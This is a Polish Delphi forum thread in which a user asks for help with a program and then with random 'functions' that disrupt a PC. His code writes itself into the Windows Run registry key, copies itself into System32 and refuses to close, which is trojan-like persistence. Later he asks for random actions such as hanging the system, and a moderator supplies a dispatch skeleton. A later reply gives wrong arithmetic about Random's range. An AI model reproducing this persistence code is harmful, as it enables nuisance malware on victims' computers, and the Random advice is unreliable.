Problem z programem

LoLeXP

Użytkownik
Dołączył
Styczeń 16, 2007
Posty
61
Mam blad ...problem.Podczas kompilowania programu wyskakuje taki blad
[Fatal Error] sysfon.pas(1): Program or unit 'sysfon.pas' recursively uses itself[/b]


Oto kody do "unitu" poniżej:

sysfon.pas
Kod:
unit Sysfon; 



interface 



uses 

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 

Dialogs, Registry; 



type 

TForm1 = class(TForm) 

procedure FormCreate(Sender: TObject); 

procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); 

procedure FormClick(Sender: TObject); 

private 

{ Private declarations } 

public 

{ Public declarations } 

end; 



var 

Form1: TForm1; 



implementation 



{$R *.dfm} 



procedure TForm1.FormCreate(Sender: TObject); 

var 

reg:tregistry; 

begin 



Reg:=TRegistry.Create; 

try 

reg.RootKey:=HKEY_CURRENT_USER; 

reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True); 

reg.WriteString('SYSFON','C:WINDOWSSystem32sysfon.exe'); 

copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32sysfon.exe'),true); 

BorderIcons:= [biSystemMenu]; 

finally 

end; 

end; 









procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean); 

begin 

CanClose := False; 

end; 





end; 



end.

...i "projectu":

sysfon.dpr
Kod:
program Sysfon; 



uses 

Forms, 

sysfon in 'sysfon.pas' {Form1}; 



{$R *.res} 



begin 

Application.Initialize; 

Application.CreateForm(TForm1, Form1); 

Application.Run; 

application.showmainform:=false; 

end.

Dlaczego mam ten blad ?? co zrobilem nie tak ??
 

Mo4x

Były Moderator
Dołączył
Grudzień 26, 2005
Posty
704
Nie wiem czy dobrze zgaduje, ale myślę, że plik *.dpr (plik projektu) nie może mieć takiej samej nazwy jak plik *.pas. Spróbuj zmienić nazwę pliku *.pas lub *.dpr, tak, aby się różniły.
 

4

Użytkownik
Dołączył
Luty 2, 2007
Posty
30
Nie jestem pewien, ale może jeszcze chodzić o to, że unit i program są tak samo nazwane, obydwa nazywają się sysfon. Jeżeli nie to co mówi Mo4x to sprawdź to.
 

LoLeXP

Użytkownik
Dołączył
Styczeń 16, 2007
Posty
61
To tak teraz wszystko dziala ...ale strona 4programmers.net nie dziala a tam bylo cos o losowaniu ...

Chcialbym żeby ktoś podal kod losowanie ale nie taki ze losuje i tyle albo po losowaniu wyswietla komunikaty tylko taki ,że np

Losuje 5 liczb

0.Wylaczanie monitora
1.wysywanie tacki
2.wylaczanie paska
3.tworzenie screenshota
4.zawieszanie systemu

No i jak np .wylosuje 3 to robi funkcje 3 ..

Gdziess to znalazlem ale na stronie 4programmers.net ktora mi nie dziala.Tylko ze tam bylo ,ze nie wlaczalo funkcji tylko wyswietlalo okienko z napisem ..
Cos podobnego chce ale jedynie,ze nie wyswietla komunikatow tylko wlacza funkcje ...

Kapujecie oco lazi ????
 

Mo4x

Były Moderator
Dołączył
Grudzień 26, 2005
Posty
704
Originally posted by LoLeXP
Chcialbym żeby ktoś podal kod losowanie ale nie taki ze losuje i tyle albo po losowaniu wyswietla komunikaty tylko taki ,że np

Losuje 5 liczb

0.Wylaczanie monitora
1.wysywanie tacki
2.wylaczanie paska
3.tworzenie screenshota
4.zawieszanie systemu

No i jak np .wylosuje 3 to robi funkcje 3 ..

Gdziess to znalazlem ale na stronie 4programmers.net ktora mi nie dziala.Tylko ze tam bylo ,ze nie wlaczalo funkcji tylko wyswietlalo okienko z napisem ..
Cos podobnego chce ale jedynie,ze nie wyswietla komunikatow tylko wlacza funkcje ...

http://rafb.net/p/eJ1Uis36.html

Unit1 - listing;
Kod:
unit Unit1;



interface



uses

  Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs, StdCtrls;



type

  TForm1 = class(TForm)

    Button1: TButton;

    procedure Button1Click(Sender: TObject);

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;



implementation



{$R *.dfm}



procedure Procedure0;

begin

  MessageBoxA(0,'Procedure0 executed.','Info',0);

  //zamiast tego MessageBoxA mozesz dodac swój kod

  Exit;

end;



procedure Procedure1;

begin

  MessageBoxA(0,'Procedure1 executed.','Info',0);

  //zamiast tego MessageBoxA mozesz dodac swój kod

  Exit;

end;



procedure Procedure2;

begin

  MessageBoxA(0,'Procedure2 executed.','Info',0);

  //zamiast tego MessageBoxA mozesz dodac swój kod

  Exit;

end;



procedure Procedure3;

begin

  MessageBoxA(0,'Procedure3 executed.','Info',0);

  //zamiast tego MessageBoxA mozesz dodac swój kod

  Exit;

end;



procedure Procedure4;

begin

  MessageBoxA(0,'Procedure4 executed.','Info',0);

  //zamiast tego MessageBoxA mozesz dodac swój kod

  Exit;

end;



procedure Procedure5;

begin

  MessageBoxA(0,'Procedure5 executed.','Info',0);

  //zamiast tego MessageBoxA mozesz dodac swój kod

  Exit;

end;



procedure TForm1.Button1Click(Sender: TObject);

var

  iProcToExecute : Integer;

begin

  Randomize();

  iProcToExecute := Random(5);

  case iProcToExecute of

  0 : begin

        Procedure0();

      end;

  1 : begin

        Procedure1();

      end;

  2 : begin

        Procedure2();

      end;

  3 : begin

        Procedure3();

      end;

  4 : begin

        Procedure4();

      end;

  5 : begin

        Procedure5();

      end;

end;

end;



end.

Originally posted by LoLeXP
Kapujecie oco lazi ????
Możesz trochę innym językiem pisać?
 

LoLeXP

Użytkownik
Dołączył
Styczeń 16, 2007
Posty
61
Mogę pisać
smile.gif

Niektóre nawiasy w twoim kodzie sa puste ,mam do nich coś wpisać?
 

Mo4x

Były Moderator
Dołączył
Grudzień 26, 2005
Posty
704
Originally posted by LoLeXP
Niektóre nawiasy w twoim kodzie sa puste ,mam do nich coś wpisać?
Nie, nic. One są puste bo procedura nie wymaga żadnych parametrów.
Jeżeli tak Ci przeszkadzają te nawiasy to zamiast:
Kod:
Procedure1();
pisz:
Kod:
Procedure1;
Też będzie działało.

A jak chcesz dodać kolejne procedury do wywołania dodać to pod:
Kod:
procedure Procedure5; 

begin 

  MessageBoxA(0,'Procedure5 executed.','Info',0); 

  //zamiast tego MessageBoxA mozesz dodac swój kod 

  Exit; 

end;

dodajesz sobie:
Kod:
procedure Procedure6; 

begin 

  MessageBoxA(0,'Procedure6 executed.','Info',0); 

  //zamiast tego MessageBoxA mozesz dodac swój kod 

  Exit; 

end;

Następnie w "Random" zmieniasz wartość losowania na 6, czyli:
Kod:
iProcToExecute := Random(6);

Potem jeszcze dodajesz pod tym:
Kod:
  5 : begin 

        Procedure5(); 

      end;
takie coś:
Kod:
  6 : begin 

        Procedure6(); 

      end;

I właśnie dodałeś nową opcję (6 z kolei) do losowania. Cały kod z sześcioma opcjami wygląda tak: http://rafb.net/p/L0dtsZ10.html
 

Legalnl

Użytkownik
Dołączył
Październik 8, 2008
Posty
828
Dodam od siebie że Random() w tym przypadku powinien wynosić zawsze :

Liczba procedur pomniejszona o 1. potem do całej funkcji dodać 1
, np

Jeżeli chcesz obsługiwać 6 procedur to kod powinien wyglądać tak:

Kod:
iProcToExecute := Random(5) + 1;

Po co to? a po to że funkcja random może wylosować "0" i wtedy nie podziała Ci nic, jak dodasz 1 do funkcji, to nawet jak Random() wylosuje "0" to i dak zostanie dodane o 1. Jak Random() wylosuje "5" to po dodaniu "1" będzie to 6, czyli ostatnia procedura itd
 
Ostatnia edycja:
Do góry Bottom